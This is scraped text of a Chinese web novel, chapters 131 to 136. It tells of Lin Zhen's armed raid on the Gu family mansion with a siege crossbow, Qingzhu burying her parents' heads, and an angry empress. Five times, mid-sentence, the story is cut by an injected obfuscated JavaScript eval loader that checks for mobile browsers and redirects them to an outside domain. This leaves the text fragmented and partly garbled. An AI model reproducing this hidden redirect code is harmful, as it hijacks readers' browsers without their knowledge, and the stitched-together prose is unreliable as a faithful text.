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青竹闻言,缓缓起身,向曹雄等人微微欠身行礼,语气坚定:“诸位的好意,青竹心领了。你们不必再劝,此事我答应。” 青竹转过头来看向林臻:“不管是死是活.我都答应你,但我还有个请求。” 林臻闻言轻轻点了点头:“你说。” “给我一笔钱,让我安葬我的家人。” “准了。” 第131章 炽热的家国情怀 轰隆隆—— 一声雷鸣划破天际,紧接着,连绵不绝的雨势在短暂的停歇之后,于午后时分再次倾泻而下。仿佛天公的情绪也如这京城局势一般,阴晴不定。 京城之中,往日繁华喧嚣的坊市,此刻却显得格外宁静,小贩的叫卖声销声匿迹,车马行人的踪迹也一并隐匿于这突如其来的暴雨之下。百姓们纷纷抱头鼠窜,急于寻找避风的港湾,街道瞬间变得空旷而冷清。 在这片雨幕之中,林臻如同一尊雕像,岿然不动地矗立着,任由雨水冲刷着他的身躯。 身后,侯春忠心耿耿地举着油纸伞,尽力为他遮挡着肆虐的风雨。 不仅仅是林臻,他身后紧随的两百龙骧营勇士亦步亦趋,宛如一体。他们身着统一的黑衣黑甲,队列严整,矗立于空旷寂寥的街巷之中,宛如港片里准备火拼的黑恶势力,静默而充满张力。 林臻驻足于顾府那看似平凡无奇的门楣前,目光穿透雨幕,内心一片止水,波澜不惊。 如果说适才青竹家人的惨状让他怒火中烧,那此刻仿佛是被一场不期而至的细雨悄然抚平,只剩下淡淡的余温与冷静。 如果不是因为慕容嫣没有完全站在林家这一边,他真想直接把顾北辰搞死,干脆利落。 然而,世事岂能尽如人意。 顾家在大乾乃是名副其实的顶级豪门,世代为官,人脉错综复杂,牵一发而动全身。 如果顾家被自己灭门,那些与顾家交情匪浅的大臣必将人心惶惶,或辞官避祸,或铤而走险,届时,整个朝廷的运转都将陷入瘫痪。 更何况,还有慕容嫣这一层顾忌。 她对林家的戒备与忌惮没有完全消融,只是因为自己而略有好转而已。一旦自己轻举妄动,她定会联手其他势力,对林震仙步步紧逼。 林震仙身处此境,唯有两条路可选:要么铤而走险,起兵造反;要么黯然退居幕后,将手中的兵权拱手相让。而后者,无疑是他唯一的选择,因为他是绝对不会造反的。 可一旦他交出兵权,大乾王朝就将政局不稳。 虽然现在政局也不稳,但起码还勉强维系着一种微妙的平衡。 一旦这种平衡被打破,那些虎视眈眈的敌国必将如饿狼扑食,趁机而入,最终受害的,还是那无辜的大乾子民。 难道说,为了给青竹报仇,就要让无数乾国百姓陷入水深火热之中吗? 不行,绝对不行。 这不是王者应该做的事情。 王者之道,在于谋定 而后动。 深思熟虑,方可雷霆万钧。 自己目前最重要的是争取更多的时间,来为大乾的兵马做充分的准备。 至少在两个月后那场关乎国运的乾楚大战中,他必须确保大乾的胜利。 唯有如此,方能借此契机,以迅雷不及掩耳之势清除顾家及其党羽,一劳永逸。 林臻心中不免泛起一丝压抑与无奈。 他真渴望能像那些爽文男主一样,抛开一切束缚,随心所欲,肆意而为,只追求那份不羁与畅快。 然而,于他而言,这份自由与洒脱的代价却是无数无辜百姓的苦难与死亡。 他一个深受红色教育的人,怎会如此呢? 即便心中有千般不甘,万般挣扎,他也必须坚守那份对苍生的悲悯与担当,不能让一己之私,玷污了胸中那份炽热的家国情怀。 “二狗。” “在。” “砸门。” “是!”二狗答应一声,和韩忠一起抬起巨木,冲了过去。 奉先殿内,烛光摇曳,映照着顾北辰那张冷峻的面容。 他凝视着面前摆放的两颗头颅,嘴角勾起一抹不屑的冷笑:“呵,如此卑陋之颜,何以孕育出青竹那般清丽脱俗的女子?” 一旁,顾云霆身形挺拔,怒气冲冲地骂道:“林臻这个混账东西,竟胆敢调动虎贲营去邯郸,害得我们折损了六十余名精锐!他什么意思?我大乾的兵马什么时候开始为百姓服务了?” 顾北辰闻此消息,眸光轻转,一抹深邃在其眼底掠过,反问道:“那虎贲营的人呢?难道就毫发无损?” “死了九个,一个重伤。”顾云霆的语气中带着几分不甘与愤慨。 “这差距唉。”顾北辰亦不由自主地发出一声无奈的轻叹。 不管豢养了多少府兵,不管请来多少武艺高强的师傅,都没办法和林震仙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789264|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫡系将士对抗。 这到底是为什么呢。 “好在白袍义从把这对奸夫淫妇的首级带回来了,也算是解了心头之恨。眼下的朝堂局势堪忧,陛下像疯了似的,接连处置了十几位官员,朝野为之震动。而且据说廉强和索立文没死,还在大理寺受刑呢,这样下去,我们迟早也会被他们咬出来。” 顾北辰勾起一抹淡笑,他伸出手,指尖在青竹母亲的发顶轻轻一点,动作中带着几分戏谑,仿佛在逗弄一个不肯低头的不倒翁,笑道:“呵呵呵,还挺倔。” 顾云霆素来不耐烦他这般故弄玄虚,心急如焚,催促道:“北 辰,为父正与你商议正事!你倒是快些拿个主意啊,总不能任由陛下这般无休止地查下去,此事拖得越久,越是不妙。” “我早就劝过父亲把索立文宰了,你偏不听。” “谁能想到陛下和疯狗似的追着咬啊!” 顾北辰的眸光倏地一凛,寒芒如刃:“派人进牢房,把他们俩杀了,陛下就算知道这里面有猫腻也查不到我们头上。至于他们的家眷” 他嘴角勾起一抹冷酷的笑,语气狠辣的道:“能杀就杀,杀不掉就发配出去,大乾这么多人不差这三两百的。” “人死了,陛下就不追究了?” “父亲大人还没看明白么?陛下根本就不想杀人,她只是想敛财而已。只要廉强和索立文死了,就不会有更多的官员被咬出来,这样对我们才是最有利的,否则再拖几天,我们顾家派系的人就都变成穷鬼了。若是不能发财,跟着我们还不如跟着林震仙呢。” “此言有理,老夫这就去安排。你也别在这枯坐了,找人把他们俩个做成蜡像.”顾云霆指了指巨大的青铜金蝉:“就放那个蛤蟆脑袋上,让所有人都看看,这就是背叛我顾家的下场!奶奶的,敢给我儿子下毒,你们就在这一辈子向我家先祖赎罪吧。” 言罢他便走了出去。 不料还没走到门口,就看到自家小厮跌跌撞撞的跑过来,跑到近前还摔了一跤。 “噗通!” “废物!慌慌张张的,成何体统!” “老老老老爷!林臻带人打上门来了!” “什么!!?” 第132章 二狗,你骂得可够脏的。 一声巨响震颤了夜的寂静。 砰—— 顾府那两扇镶嵌着繁复雕纹、价值连城的朱红大门在攻城锤的撞击下瞬间支离破碎。门板哀嚎着向外翻飞木屑伴随着暴雨四散飞溅沉重地倒在大雨之中发出震耳欲聋的回响 曹雄猛地扔掉手中的雨伞长刀瞬间出鞘一抹寒光划破夜空直指那灯火摇曳、影影绰绰的内院深处喊道:“他妈了个巴子的把顾老鳖给老子抓起来!” 有林臻撑腰曹雄可谓是胆大包天别说硬闯丞相府就算是去刨他家祖坟他也不会皱一下眉头。 “杀!!” 随着一声令下身后两百名黑甲战士齐声怒吼气冲云霄犹如战鼓擂动震慑人心。他们几乎同时将手中雨伞抛向苍穹化作点点雨幕中的无数黑影势不可挡地冲进了丞相府的大门。 府内的丫鬟仆役哪曾见过这等阵仗惊恐之下误以为绺子破城而入吓得四散奔逃尖叫声、呼救声此起彼伏。 “快来人啊!杀人啦!” “有贼兵!快去通知老爷!” 看家护院的白袍义从闻讯而动二十余人抽出长枪 为首一人声如洪钟喝问道:“什么人!竟敢擅闯丞相府该当何罪!” 二狗嘴角勾起一抹狞笑手中长刀闪烁寒光直取对方面门言语间尽是狂妄:“我TM是你狗爷!看刀!” “噗嗤!” 话音未落那人猝不及防间头颅竟如西瓜般被劈开血雾喷薄染红了周遭的空气。 其余白袍义从目睹此景怒目圆睁怒火中烧毫不犹豫地扑向那些黑甲士兵。。 “不得让他们进入内院!杀!” “哈哈哈哈一群小逼崽子敢在你爷爷面前装大尾巴狼找死!”曹雄放声大笑带着龙骧营将士如同狂风扫落叶所过之处敌人纷纷倒下几个呼吸的功夫便将他们全部砍死。 “啊!” “别杀我!” “噗!”求饶声、惨叫声交织在一起 解决掉这几只挡路的蚂蚁曹雄和二狗继续带兵往后院跑去。 回廊曲折一名清秀的丫鬟在慌乱奔跑中不慎摔倒雨水混合着泪水将她本就苍白的面容冲刷得更加楚楚可怜。面对如狼似虎狂奔而来的黑甲士兵她惊恐万状哀声求饶:“不要!求求你们别杀我!呜呜呜……咦?” 本以为自己即将命丧刀下却不 料那些黑甲士兵仿佛没看到自己一样,从自己身旁呼啸而过,未曾投下半分关注。 不是绺子? 那为什么敢闯丞相府? 龙骧营的速度极快,没几分钟的时间便来到一座小桥的前面。 这桥不是很大,也不是很宽,却自有一番精致韵味。桥身砖石之上,皆雕有繁复细腻的花纹,宛如艺术品般横跨于一条潺潺细流之上。溪水对岸,灯火辉煌,温暖的光芒在夜色中摇曳生姿,宛若人间仙境。 这就是顾府的后宅。 此刻,顾北辰与顾云霆并肩立于桥上,各自执伞一柄,气度不凡,面对即将到来的敌人,眼神中没有丝毫的畏惧与退缩。 他们身后,是浩浩荡荡的上千白袍义士,每一位都身姿挺拔,手持长枪利刃,严阵以待,散发着不容小觑的凛冽气势。 曹雄领着一众兵马,浩浩荡荡行至桥畔,眼前景致映入眼帘,他不禁放声狂笑,声震四野:“哈哈哈哈,顾老鳖!你以为这些臭鱼烂虾能挡得住龙骧营吗?” 顾云霆尚未开口,一旁的顾北辰已是怒不可遏,胸中怒火喷发,几欲冲破脑门。 这些狂妄之徒,竟敢公然挑衅丞相府的威严,若是能全身而退,顾家颜面何存? 还是那句话,上流社会争面子。尤其在权贵圈里,颜面更是千金难换。 赔点钱,死点人,顾北辰根本不在乎,唯独顾家的声望与尊严,不容有丝毫玷污! “曹雄匹夫!你竟敢带兵闯入我家府邸,就不怕有来无回吗?”顾北辰一声怒喝,语气中满是不可一世的傲气。 曹雄隔着雨幕,指着顾北辰的脑门,嚣张回怼:“你个小逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789265|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崽子,真以为我们人少就打不过你们?” 顾北辰不打算和这个辽东糙汉逞口舌之利。 “你这种小人物根本没资格跟我说话!林臻呢?出来见我!” 二狗见曹雄受辱,立刻站出来骂道:“龟儿子!你根本不配见我家世子,滚回去,让你爹龟灬头上前回话!” 顾北辰:? 顾云霆:? 曹雄也愣愣地回过头看向二狗:“二狗,你骂的可够脏的。” 二狗一愣:“是么?那我重新骂.” 顾云霆气得浑身直哆嗦,手指颤颤巍巍指着二狗:“孔二狗!老夫今天不把你生吞活剥就枉为丞相!给我杀!!!杀一个,赏金五十两!” 白袍义从们深知龙骧营的威名,心中虽有忌惮,但重赏之下,必有勇夫。 为了这五十两金子,死上三回都值了! “杀!!”伴随着声声怒吼,上千名白袍义从如同潮水般冲了过来,掠过顾北辰父子身旁,带着阵阵阴风。 他们手持长枪,双目赤红,仿佛饥饿的猛兽看到了诱人的猎物,那股子疯狂与决绝,即便是十字军面对日耳曼美女时的狂热,也难以比拟。 曹雄冷笑一声,轻轻挥手,身后两百龙骧营将士立刻从中间分出一条路。 紧接着,一幕惊心动魄的景象映入眼帘。 一根足有成年人手臂粗细的攻城凿,如同脱缰的野马,带着呼啸的风声与不可一世的威势,直愣愣地朝人群疾射而来,其势之猛,仿佛能撕裂空气,震撼人心! 嗖—— 歘—— “噗!” “啊!!” 只见带头冲锋的十几名白袍义从立刻被穿成了糖葫芦,剩下的人只要沾到就是重伤,而那根庞然大物其势不减,带着雷霆万钧之力,狠狠嵌入桥身之中,震颤不已。 “这……这是什么?!” 顾北辰双目圆睁,难以置信地惊呼出声,声音中带着几分颤抖。 “是八牛弩!??” 第133章 取东西就取东西,好好说话不行吗? “什么?是八牛弩?” “这种大杀器都拿来了?” “林家这是要干什么啊?” 龙骧营所辟出的小径尽头林臻的身影赫然显现他面带狞笑笑意中蕴含的森寒之意令在场所有人都打了个寒颤。 原来刚刚那根攻城凿就是他敲打机括射出去的而上弦的人正是韩忠和侯春两人配合默契天衣无缝。 顾北辰的双目几乎要凸出眼眶他的声音因愤怒与惊恐而变得嘶哑近乎歇斯底里地吼道:“林臻!!!你竟敢拿八牛弩来我顾家你到底要干什么!” 顾云霆亦是面色惨白心中惊骇难平。 八牛弩可是专门用来对付蛮蒙骑兵的堪称大国重器!林臻就这么拿出来对付自家的府兵? 这不是杀鸡用屠龙刀吗? 顾云霆强压下心头的慌乱 此等行径不过是败者无能之下的道德绑架。 上位者惯用的手段。 林臻嘴角勾起一抹不屑的笑意轻轻摆了摆手侯春与韩忠二人立刻会意再次转动齿轮将沉重的攻城凿缓缓送入八牛弩的轨道之中。 这便是林臻精心改造后的八牛弩只需两人便能轻松驾驭其威力更大射程更远更令人称奇的是它竟能拆卸组装便于携带真正做到了灵活与力量的完美结合。 也正因为如此刚刚进府的时候顾家的人才没看出来。 倘若有人事先告知顾北辰林臻携带着八牛弩他是打死也不会选择硬拼的。 林臻轻笑一声语气中带着几分戏谑:“呵呵呵今天雨休嘛没什么事儿就来串串门子不过顾相好像并不欢迎我啊。” 顾北辰青筋暴起嗓音嘶哑地咆哮道:“放屁!有带八牛弩串门的吗!林臻你到底要干什么?快说!否则我们就决一死战!” “哦?决一死战?呵呵呵呵。”林臻发出一阵夜猫子的诡异笑声。 顾北辰不相信眼前这二百龙骧营能打败自己上千的白袍义从冷笑道:“呵你那八牛弩一炷香内也不过勉强发射两轮还妄想能全歼我白袍义从不成?” “是么。”林臻的话语简短却仿佛蕴含着千钧之力手中的铁榔头也随之狠狠落下。 砰—— “啊!!”凄厉的惨叫划破夜空。 “大哥!” “兄弟!!” 又是一根沉重的攻城凿呼啸而出,如同死神之箭,横亘在顾北辰身前的上百名白袍义从,瞬间死伤一片。 有的人被穿成糖葫芦;有的人缺胳膊少腿,痛苦呻吟;更有甚者,身躯被拦腰射断,鲜血与内脏洒落一地,触目惊心。 顾北辰眼睁睁看着这一切,心如刀绞,几近疯魔。 这可都是顾家精心培养的壮士啊! 就这样死了一大片! “啊!!”顾北辰仰天长啸,声音中满是绝望与不甘,却也无能为力。 这就是兵权的差距。 此时,顾云霆缓缓步出人群,林臻轻轻抬手,对侯春与韩忠使了个眼色,示意他们别冲动。 杀白袍义从无所谓,但要杀了顾云霆,那就真是造反了。 林震仙不会同意造反。 顾云霆面容冷静到了极致,腿肚子却微微颤抖着。 他冷冷地注视着林臻,双臂张开:“林臻!你有种杀了老夫啊!” 林臻摇了摇头:“我不杀你。” “哼,量你也没那个胆子!” 林臻嘴角勾起一抹轻蔑的笑,淡淡道:“我确实没胆子杀你,但是我有胆子杀光你的府兵,还有胆子刨了你家祖坟,甚至.有胆子和伯母通奸一下~” 顾云霆闻言,心弦猛地一颤,记忆的洪流瞬间将他淹没。 他回想起王府大婚当日。 皇帝的莫名偏宠,丞相府由盛转衰的悲凉,家族一步步走向没落好像一切的一切,皆是从那一刻悄然开始的。 “林臻.你到底要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789266|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干什么。”顾云霆的声音中带着一丝无奈的凄婉。 林臻的回答很简洁:“我来取一样东西。” 顾云霆不禁一愣,眉头微蹙:“什么?取东西?” “对啊。” 站在后面的顾北辰闻言,当即破口大骂:“你TM有病吧!你取东西就取东西,好好说话不行吗?非要闹成这个样子!” 林臻听了也为之一愣,摊开手,看了看侯春和韩忠,喃喃道:“嘶好像也是哦.” 侯春也摸了摸湿漉漉的后脑勺:“世子,我们好像有点冲动了.” 林臻有些尴尬地吐出一口韭菜花。 取青竹父母头颅这种事,如果亲自上门找顾北辰,他应该也会答应,那自己为什么要带兵来呢? 估计是被愤怒冲昏了头。 不过林臻并不后悔,既来之则安之嘛,拿白袍义从练练手,试试新发明的八牛弩也不错。 他望向顾北辰,眼中闪烁着几分戏谑,语调悠长地说道:“我是来取青竹父母首级的,交给我,我就给顾相个面子,今天就杀到这,不杀了。” 顾北辰气得险些吐血。 但是他也知道,今日若不遂了林臻的愿,他是绝不会善罢甘休的。 他目光穿透密集的雨幕,聚焦于那朦胧中若隐若现的八牛弩,语气无奈地道:“林臻,我可以将他们的首级给你,但作为交换,你必须答应我一个条件。” “你没有资格跟我谈条件。”林臻毫不客气地直接回怼。 “林臻,你不要欺人太甚!”顾北辰的声音在滂沱大雨中显得有些颤抖,却仍强撑着不甘示弱。 而林臻仿佛未闻其言,只是隔着那倾盆而下的大雨,声音穿透雨声,字字铿锵。 “顾北辰!你顾家贪赃枉法,滥用私刑,残害无辜百姓!今日不杀你已经是天大的恩典,你不要得寸进尺!告诉我青竹父母的首级在哪?否则的话,我就一把火烧了你们顾家府邸!” 第134章 帮林臻打脸,你可真是我亲爹啊 顾北辰双目赤红。 他极力想保住顾家的颜面,但林臻显然不给他这个机会。 顾云霆轻轻扯了扯他的衣袖,眸中闪过一丝无奈:“北辰,事到如今,强求无益。不过是一对贱民的首级而已,既然他想要,给了便是,且看明天陛下如何决断! “父亲。顾北辰的声音低沉而压抑,每一个字都仿佛承载着对时局深沉的无奈与反抗。 “陛下如今已明显偏向林家,即便闹到他那里,我们也占不到半点便宜。 “但也总好过和那疯子硬碰硬吧!顾云霆缓缓言道,言语间有着掩盖不住的忌惮:“他们有八牛弩,甚至不知道有多少个!一旦打起来,我们这千八百号人还不够他杀的! “父亲!顾北辰情绪越来越激动,“我们绝不能低头,一旦低头,顾家数十年苦心经营的威望便会瞬间崩塌,届时墙倒众人推,你我都将身败名裂,死无葬身之地! 顾云霆心中何尝不明白这其中的利害关系,只是面对那强悍的八牛弩,他提不起一丝一毫的反抗之心,只剩下无尽的绝望与无奈。 有兵权就是好啊。 他奶奶的,想打谁就打谁! 顾云霆心中暗叹,一股酸涩涌上心头, 与之相比,自己费尽心力,花了无数钱财培养出来的府兵,在八牛弩面前连三岁小孩都不如,只有待宰的份儿。 顾北辰再次将锐利的目光穿过雨幕,投向林臻,那瞳孔里不屈与决然交织,闪烁着誓死捍卫的光芒。 今日,即便是粉身碎骨,也绝不能让林臻得逞! “林臻!顾北辰的声音在雨夜中回荡,“你若有种就将我们所有人一并射杀于此!否则你休想从我顾北辰这里拿走他们的首级! “哼,真是冥顽不灵。林臻嘴角勾起一抹冷笑,那笑容在雨夜的掩护下显得尤为阴森可怖,就连站在他身旁的韩忠也不由得感到一阵寒意直透心底,双腿不由自主地颤抖起来。 世子真是太可怕了,仅仅是一个浅笑,一抹眼神,便足以让人心生畏惧,如坠冰窖。 这便是世人传颂的鹰视狼顾之姿? 不对,他分明没做那诡异的一百八十度回首啊。 林臻轻轻抬手,做了一个示意,侯春连忙收敛心神,将纷飞的思绪拉回现实,重新将八牛弩上弦。 “嘎吱吱—— 机括缓缓咬合,弦音在密集如织的雨帘间回荡,又与雨点敲击坚硬石面的清脆节奏交缠,营造出一种诡异的恐怖氛围。 顾北辰的瞳孔猛地一缩,意外地向前迈出一步,好像要用自己的身体挡住八牛弩的攻城凿。 顾云霆目光深邃地望着儿子那刚强坚毅的背影,心中涌起一股难以言喻的骄傲。不由自主地,他也迈出了步伐,与顾北辰并肩而立。 父子俩的身影在雨幕中显得格外挺拔,仿佛能抵挡住世间所有的风雨与苦难。 “父亲.谢了。”顾北辰的声音微微颤抖,眼眶中闪烁着晶莹的泪光,心中满是动容。 有这样的父亲,人生之幸啊。 “你我父子,何须言谢!”顾云霆豪迈一笑,语气中透露着冲天的霸气,随即他转身,对着林臻的方向大吼:“林臻!老夫这就派人去把青竹父母的首级给你拿来!你稍安勿躁!” 林臻:? 顾北辰:? 帮林臻打我的脸? 你TM可真是我亲爹啊! “站住,不许去!”顾北辰猛地转身,用力一挥,将侍卫手中的雨伞打落。 霎时间,瓢泼大雨如瀑布般倾泻,无情地穿透了他单薄的衣衫,勾勒出他因愤怒而扭曲的面容,水珠沿着他坚毅的下巴滑落,与雨幕融为一体。 他拽着顾云霆的衣袖,声音因激动而已经沙哑,却还是近乎咆哮地喊道:“父亲!你怎么还不明白?顾家的颜面不能丢!” “那林臻就是个疯子,我不能拿我儿子的命去赌!”顾云霆的目光中满是作为父亲的深沉忧虑。 “林臻不敢杀我们!” “我明白你的意思,北辰。”顾云霆叹了口气,眼神复杂,“但谁能保证没有万一?万一他真的失去了理智” 不等他说完,顾北辰便打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知道是谁发出一声尖锐的呼喊:“快逃啊!” “再不跑就要被射死了!” 第135章 青竹已死,我叫刘痕 这股求生的强烈欲望如同野火燎原,瞬间点燃了人群中的恐慌。一时间,杂乱无章的脚步声与兵器扔在地上的乒乓声交织在一起,上百名身着白袍的义士,如同惊弓之鸟,纷纷向着内院的方向狂奔而去。 顾北辰目睹此景,气得脸色铁青,怒喝道:“站住!谁敢后退,格杀勿论! “你们这群废物!我都不怕,你们怕什么!? 废话。 你是不怕,人家压根就不射你啊! 林臻好像玩上瘾了,又命令侯春和韩忠开始给八牛弩上弦。 须臾间,又一副攻城凿稳稳装配完毕。 他嘴角勾起一抹残忍的笑意,目光如刃,锁定于桥上那群围绕着顾北辰缓缓撤退的白袍义从,再次砸下机括。 砰—— 歘—— “啊!! 又是十几人当场死亡。 亲眼目睹着麾下将士在自己面前死去,顾北辰心如刀绞,理智尽失,他歇斯底里地咆哮:“林臻!!你这个杀人狂魔!!我一定要让你付出代价!! 林臻亦是怒不可遏,同样声嘶力竭地大吼:“少废话!告诉我青竹父母的首级在哪?否则我今天就屠了你们! 又不知道是谁喊了一句:“在奉先殿!! 顾北辰的双眼瞬间涌现一抹杀意,他猛地转身,怒视着身后数百名白袍义从。 人群密集,难以辨清声音的来源,但这股被背叛的感觉让他怒火中烧,他咆哮道:“叛徒!谁说的!老子要扒了他的皮! 林臻摆出一副要往顾家老祖牌位上撒尿的表情,笑道:“呵呵呵奉先殿是吧。 “林臻!顾北辰心中已隐隐猜透他的意图,浑身汗毛都竖了起来,他猛地跨前一步,厉声道:“奉先殿乃是供奉我顾家先祖场所,我绝不允许你进去! “是么?那就试试看,看你能不能拦住我。言罢林臻再次拿起榔头,侯春和韩忠再次给八牛弩上攻城凿。 白袍义从们目睹此景,心中惊恐万分,仿佛连空气都凝固了。 死亡的阴影如同游荡的幽灵,无声地徘徊在每个人心头。 谁也不知道下一个死的会不会是自己。 顶替毛梦极,成为白袍义从新统领的猛将龚世杰,此刻声如洪钟,穿透了的雨幕与恐慌:“快带老爷和少爷走! 顾北辰摇头道:“不行!龚世杰. 白袍义从们心急如焚,一边竭力劝说,一边手忙脚乱地为顾北辰与顾云霆撑伞,颠三倒四,场 面混乱而又紧张。 “少爷您还是快些走吧!您的安危至关重要不容有失啊!” “留得青山在不怕没柴烧少爷您一定要三思啊!” “老爷您倒是快劝劝少爷呀!” “走!!” 顾云霆抓住顾北辰的肩膀两人被白袍义从护送着匆匆向内院赶去。 与此同时龚世杰挺立桥头长枪深深嵌入石板之中仿佛一座孤高的雕像任由瓢泼大雨无情地拍打在冰冷的铠甲上其身影在雨幕中更显孤勇宛如古战场中七进七出的赵子龙气势凛然。 他大喊道:“林臻!那一男一女的首级我已经派人去取了你切莫” 歘—— “额!” 话音未落一枚沉重的攻城凿如闪电般划破雨幕精准无误地将龚世杰钉在了桥上其威势之猛连带他身后的六名白袍义从也未能幸免一同倒在了血泊之中。 林臻拍了拍掌心的雨水砸吧砸吧嘴:“你早说啊。” 雨丝稍歇空气中弥漫着沉闷天际间闷雷轰隆作响如同远古巨兽的低吟而闪电则在厚重的乌云帷幕中肆意游走转瞬即逝随后豆大的雨珠再次绵绵而下。 顾北辰猜得没错当林臻把白袍义从当兔子射的时候雨幕的深邃与黑暗中还隐藏着两架八牛弩只要那群白袍义从敢冲过来 这一战林臻阵营毫发无损反观白袍义从死伤近两百人青竹父母的头颅也被林臻顺利拿了回来。 归至王府林臻下令以一只质地温润的青瓷大坛庄重地将这承载了太多悲欢离合的头颅妥善安放然后给青竹送去。 处理妥当之后林臻缓步迈向盥洗室。 他全身已被雨水彻底浸透必须得好好洗个澡才行。 而且他不打算叫任何丫鬟进来服侍因为服侍起来就咿咿呀呀的没完等会洗完还有正事要办呢。 青竹带着弟弟刘鑫在林臻的允许下领着十名龙骧营士兵去往城外。 最终一行人冒着大雨在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789268|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清风山山麓一棵苍劲古松下驻足。 士兵们沉默而迅速地挖掘出一个深坑将青竹父母已经开始发臭的尸体放了进去。 正当龙骧营的勇士们准备将土回填给予逝者最后的宁静时青竹轻轻抬手制止了他们的动作。 她双膝跪地任由倾盆大雨无情地冲刷着她单薄的身躯每一滴雨珠仿佛都承载着天地间无尽的哀痛沿着她凌乱的发丝滑落最终滴落到坑 内两个精美坛子上。 青竹的目光紧紧锁定在那最后的归宿上,声音细若游丝,却字字沉重,满载着难以言喻的深情与依依惜别。 “爹娘.” 她轻声呼唤,每一次吐字都似耗尽心力。手中的泥土被连绵细雨浸润成了黏稠的泥浆,她机械地将其填入坑中,脸上交织着的不知是清冷的雨水,还是温热的泪滴,只知道她模糊了容颜,语气哽咽。 那个曾经被她视为生命中最重要的人,如今竟变成杀害她父母的凶手。 这突如其来的变故,如同狂风骤雨,将她心中的世界颠覆得支离破碎。 “女儿不孝,非但未能承欢膝下,侍奉终老,反而让你们含恨而死。” “你们放心,女儿绝不会就这么沉沦下去。女儿一定会靠自己的力量熬出头,绝不再屈身为奴。” “就让这方土地成为你们永恒的安宁之所,愿你们在天之灵保佑女儿成功加入天道。日后手刃顾北辰,拿他的脑袋回来祭奠你们。” 言罢,青竹缓缓举起手中的铁锹,每一铲落下,都似是对过往的沉重告别,将细沙与泥土缓缓覆盖于那方小小的空间。完成这一切后,她挺直腰身,任由清冷的雨珠沿着她清秀的脸庞滑落。 目光转向一旁,刘鑫在伞下静默伫立,青竹最后向龙骧营说道:“回去告诉世子,好好照顾我弟弟。” 龙骧营中有人问道:“姑娘要去哪?” “天道。” “青竹姑娘.”那人再言宽慰,却见青竹已毅然转身,迈向另一条蜿蜒的小径。 大雨滂沱之中,她那略显单薄的身影渐行渐远,唯有话语随风飘来,带着对天地不仁,以万物为刍狗的痛恨。 “青竹已经死了。” “我叫刘痕。” 第136章 车马行赔钱了,慕容嫣气急败坏 慕容嫣紧握着手中的账本脸颊因愤怒而染上两朵绯红贝齿轻咬眼中似有火光闪烁。终于她忍无可忍一巴掌重重拍在了雕龙案几之上。 “砰!” 震响回荡在空旷的大殿之中伴随着她怒不可遏的低吼:“废物!” 车马行的大掌柜郝劲松闻声如遭雷击双腿一软噗通一声跪倒在地浑身颤抖:“老奴无能请陛下息怒!” “息怒!你让朕如何息怒!”慕容嫣的双眸圆睁猛地一探手抓起案头的账本扔向郝劲松。账本不偏不倚地正砸在他的头顶随后哗啦啦散落一地 “林臻把车马行一切都准备好了几乎是拿到手就能赚钱的买卖你却硬生生将它赔了进去!短短三日竟赔了三百多两银子!朕都要怀疑你是不是贪污了!” “陛下啊!老奴纵有天大的胆子也万万不敢贪污啊!!请陛下明察!”郝劲松边说边将额头重重磕在地上发出“嗙嗙”的声响不多时便有殷红的血迹渗出染红了地面。 慕容嫣怒气不减:“那你就说说一个没有成本的生意到底是怎么赔的钱!” 郝劲松躬身低语言辞间尽显无奈:“陛下明鉴车马行虽车辆齐整、骏马健壮然招募车夫之费亦是笔不小的开支。车夫的薪俸、伙食;马匹的草料、供养;马车的洗刷、保养;一桩桩一件件这都是钱啊!” “而且很多车夫都拿钱不干活就躲在城中偏僻的角落里从早睡到晚捱到宵禁了就直接回家老奴已经抓到好几次教训了好几个可这种现象依旧不减。” 